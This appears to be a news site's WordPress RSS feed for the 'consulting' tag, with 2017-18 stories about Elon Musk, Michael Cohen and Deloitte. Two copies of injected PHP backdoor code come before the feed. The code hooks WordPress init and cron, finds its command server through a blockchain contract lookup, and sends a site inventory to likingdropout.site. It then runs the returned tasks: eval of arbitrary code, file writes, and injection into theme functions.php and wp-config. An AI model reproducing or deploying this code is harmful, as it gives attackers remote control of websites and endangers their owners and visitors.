// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); consulting – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 18 Jul 2018 03:15:08 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png consulting – Brief News https://briefnews.eu 32 32 British caver says he's consulting lawyers over Elon Musk's comments https://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/ https://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/#respond Wed, 18 Jul 2018 03:15:08 +0000 http://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/ Autoblog ist jetzt Teil der Oath-Familie.
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]]> https://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/feed/ 0 Mueller Asked Ford for Records After It Rejected Michael Cohen Consulting Overture https://briefnews.eu/mueller-asked-ford-for-records-after-it-rejected-michael-cohen-consulting-overture/ https://briefnews.eu/mueller-asked-ford-for-records-after-it-rejected-michael-cohen-consulting-overture/#respond Sat, 12 May 2018 01:33:36 +0000 http://briefnews.eu/mueller-asked-ford-for-records-after-it-rejected-michael-cohen-consulting-overture/ Michael Cohen, who has served as President Donald Trump’s personal attorney, made an overture to provide consulting services to Ford Motor in January 2017 but was rebuffed, people familiar with the matter said.

]]> https://briefnews.eu/mueller-asked-ford-for-records-after-it-rejected-michael-cohen-consulting-overture/feed/ 0 Think twice before consulting Dr. Google, researchers say https://briefnews.eu/think-twice-before-consulting-dr-google-researchers-say/ https://briefnews.eu/think-twice-before-consulting-dr-google-researchers-say/#respond Sat, 07 Apr 2018 13:01:28 +0000 http://briefnews.eu/think-twice-before-consulting-dr-google-researchers-say/ Stethoscope on keyboard

There are side-effects associated with consulting the internet about health issues, including increased anxiety and a loss of privacy.

]]> https://briefnews.eu/think-twice-before-consulting-dr-google-researchers-say/feed/ 0 EPA says appointee can accept money from secret clients for consulting gigs https://briefnews.eu/epa-says-appointee-can-accept-money-from-secret-clients-for-consulting-gigs/ https://briefnews.eu/epa-says-appointee-can-accept-money-from-secret-clients-for-consulting-gigs/#respond Wed, 07 Mar 2018 09:06:01 +0000 http://briefnews.eu/epa-says-appointee-can-accept-money-from-secret-clients-for-consulting-gigs/

Enlarge / A flag hangs over an entrance to the Environmental Protection Agency in Washington on April 22, 2017. (Photo By Bill Clark/CQ Roll Call) (credit: Bill Clark / CQ Roll Call / Getty Images)

A top aide appointed to work in the Environmental Protection Agency’s (EPA) Office of Public Affairs has been allowed to take outside consulting work for private clients whose names remain redacted.

The aide, John Konkus, was a part of the Trump administration’s transition team after the 2016 election and was appointed as the associate administrator for the EPA’s Office of Public Affairs in early 2017. This summer, the EPA’s ethics lawyer signed off on Konkus’ request to take outside work from private clients, but, according to the Associated Press, the in-house lawyer noted that “Konkus’ outside contracts presented a ‘financial conflict of interest.'” The ethics lawyer barred Konkus “from participating in matters at EPA that would have a ‘direct and predictable’ financial benefit for his clients,” AP noted. However, it’s unclear what those matters are and when Konkus would encounter them in his daily work.

The memo from the EPA’s ethics lawyer approving Konkus’ work was sent to the House Committee on Energy and Commerce, six months after the committee requested information on conflicts of interest within the agency. According to a letter published by Democrats on that committee (PDF), the memo that the EPA sent to Congress had the names redacted of the two clients for whom Konkus wanted to work.

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]]> https://briefnews.eu/epa-says-appointee-can-accept-money-from-secret-clients-for-consulting-gigs/feed/ 0 Marketers like Chipotle are turning to consulting firms to help transform their businesses — and ad agencies are nervous https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/ https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/#respond Sat, 07 Oct 2017 21:06:53 +0000 http://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/ chipotle burritocmmorrison/Flickr

  • Consulting firms like Deloitte and Accenture are increasingly being seen as coming for ad agencies’ business.
  • Their pitch to marketers such as Chipotle: we can help you with complex challenges, and can build digital products that can transform your business.
  • Still, consultants will have to prove they can weave creativity with technical know how.

Here’s why ad agencies need to worry about consulting firms: traditional ad shops can’t handle burrito orders.

At least, that’s what the consultants say.

Chipotle has recently tapped Deloitte Digital to build and maintain its Apple and Android Apps as it looks to implement mobile ordering across its network of restaurants. On the surface, that may not seem like that big a deal. It’s just one app after all.

But as consulting giants like Accenture and Deloitte circle around the ad agency business, it’s partnerships like the Chipotle app that some in the ad industry see as a harbinger of things to come.

They say that while traditional and even digital ad agencies are still great at making ads and buying media to make sure they get in front of the right people, they aren’t as well equipped to make apps that are so vital to a company’s business – let alone all the billing, data collection and logistical implementation required.

And as digital customer experiences become a crucial part of marketing – people are literally holding a company’s brand in their hands after all – the argument is that consulting companies, with their informational services heritage, are best equipped to handle this kind of work. And the more that the Deloittes of the world can get their hooks into marketer’s operations, the more ad assignments they’ll be entrusted with – which puts classic ad agencies in a disadvantaged position, or so the thinking goes.

Indeed, in the ad industry, where the future of the ad agency model is constantly being examined, consulting firms have become the new bogeyman. Fair or not, firms like Accenture and IBM are seen as having a better claim on driving real business results in an industry known for making pretty ads and making sure they get where they are supposed to. 

What’s so great about consultants?

Greg March, the CEO of the independent ad agency Noble People, summed up the conventional wisdom regarding consulting firms as thus: “They’ve got MBAs, they’ve got money for days, and they have access to the C-suite decision makers.”

Consulting giants have also been making lots of acquisitions in this sector of late; last year, Deloitte bought the San Francisco creative agency Heat, reported Adweek.

During an interview at the Cannes ad festival in June, Michael Kassan, CEO of the ad advisory firm Medialink, even predicted that a giant consulting firm would end up buying one of the big four ad agency holding companies like WPP or Publicis.

“The real difference is, we bring a few things they don’t have,” said Donald Brady, principal, Deloitte Consulting LLP and Customer Experience Innovation Leader at Deloitte Digital. “We have deep industry expertise and can handle complex technical solutions. [Agencies] are coming from creative world. They don’t have the depth or scale.”

unnamed 4DeloitteBrady noted that Deloitte Digital last year recorded $ 27 billion in revenue and has a network of over 10,000 people in 28 countries.

By nature, companies like Deloitte see themselves as playing a more integral role in helping assess and improve their clients’ businesses that goes well beyond marketing.

“Our clients come to us with really big challenges. Transformational challenges,” said Oliver Page, Principal at Deloitte Digital. Transformational challenges such as changing the way people order and pay for food in thousands of restaurants – a behavior which is increasingly becoming the central way people interact with many brands.

Page said that in the quick service restaurant category, it’s very early but in some cases ordering via apps is accounting for 1% of a company’s business. Chains like Panera Bread have seen digital ordering take off, as Business Insider reported in June. 

“That channel really is becoming a huge revenue driver for restaurants,” said Page.

PaneraAP Photo/Charles Krupa“It’s moving quickly. What you end up having when you interact with your customers is a much richer data set. That’s what is unique [about what we do]. Making ordering easier or more convenient is what consumers are looking for, and it is what the brand represents. And making these things work in the real world, it’s not easy.

“This is a testament to where the market is going,” Page added. 

Left brain vs. right brain

Perhaps. For his part, March argued that both ad agencies and consulting firms have their natural strengths and weaknesses, and that each side’s weaknesses can be addressed by hiring different types of people.

He admits to being biased, but he believes it will be easier for ad agencies to hire more analytic-driven people than for consulting firms to get more creative.

“From what I’ve heard from people who have worked on both sides, the consulting firms are not really strong on how to engage creatively,” he said. “A culture of creativity is really hard.”

March said that agencies are hardly bereft of offering their clients potential ways to change their businesses. The question is, do they know how to execute them?

At the same time, consultants have to prove they can deliver on ad campaigns that work. “The knock on these guys has always been, they give you decks and then leave,” March said. “They’ve got to change that. If you are going to charge somebody $ 2 million for a strategy that’s one thing, but now they are going to have to execute.”

Gene Liebel, co-founder of the digital agency Work and Co, which works with Facebook, Apple and Marriott, and others, agreed that in 2017 more marketers need help building digital tools to help them directly interact with their consumers. But he also doubted whether consulting firms are up to the task of handling the little things, or can attract the right talent to deliver.

“Someone still has to do the hard work of designing and building successful digital services, and that execution piece is what’s actually the toughest,” he said. “The talent pool for the best engineers and best digital designers is surprisingly small, and those people are drawn to places where they can go beyond just concepting great digital experiences. They want to make real things. And actually witness their ideas make it out into the world to be used by real consumers.”

In other words, Chipotle’s app better work really well. Or like many marketers, the company might soon be looking for a new agency.

NOW WATCH: RAY DALIO: The US economy looks like 1937 and we need to be careful

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]]> https://briefnews.eu/marketers-like-chipotle-are-turning-to-consulting-firms-to-help-transform-their-businesses-and-ad-agencies-are-nervous/feed/ 0 elium Raises 4M€ from Serena Capital and S.R.I.W. to Digitize Knowledge Sharing among Employees in the Consulting Firms and Industries of Tomorrow https://briefnews.eu/elium-raises-4me-from-serena-capital-and-s-r-i-w-to-digitize-knowledge-sharing-among-employees-in-the-consulting-firms-and-industries-of-tomorrow/ https://briefnews.eu/elium-raises-4me-from-serena-capital-and-s-r-i-w-to-digitize-knowledge-sharing-among-employees-in-the-consulting-firms-and-industries-of-tomorrow/#respond Thu, 31 Aug 2017 08:55:28 +0000 http://briefnews.eu/elium-raises-4me-from-serena-capital-and-s-r-i-w-to-digitize-knowledge-sharing-among-employees-in-the-consulting-firms-and-industries-of-tomorrow/

